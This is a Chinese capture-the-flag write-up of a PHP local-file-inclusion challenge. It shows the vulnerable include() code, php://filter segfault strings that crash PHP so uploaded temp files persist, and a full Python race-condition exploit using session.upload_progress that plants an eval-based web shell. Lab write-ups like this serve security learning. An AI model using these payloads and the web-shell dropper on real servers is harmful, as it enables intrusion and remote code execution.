目录
前言 :
仅记录我刷题历程。
考点:
临时文件上传包含
利用segment fault 导致 系统崩溃上传恶意文件
session.upload_progress 上传临时文件
解题:
进入环境 说 用户和密码错误 ,抓包:
Hash 爆破是不太可能的。 给了 hash 直接传入pass。
访问 flflflflag.php
有个包含 用伪协议读取
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
预期解:
既然是包含 可以上传临时文件到 /tmp/下 文件名是PHP_xxxxxxxx 但是需要爆破。
换另一种方法。
扫目录,可以扫到dir.php 这个列出了 /tmp 下所有文件,可以利用php7 segment fault特性。
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd
php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
脚本:
import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False) //禁止重定向
print(r.text)
运行后,看到已经让容器暂时崩溃:
访问 dir.php 是能够看到我们上传的临时文件名字的。
访问,注意是tmp/ 下:
预期解二:
利用session.upload_progress 进行 session 文件包含:
详细的可以参考这篇好文章:利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
这里直接给上exp
import io
import sys
import requests
import threading
host = "http://3e77e1cd-842a-43c8-90d4-58b0f5c394d9.node4.buuoj.cn:81/flflflflag.php"
sessid = 'snowy'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={"file": ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
进入 shell.php 执行phpinfo就能看到flag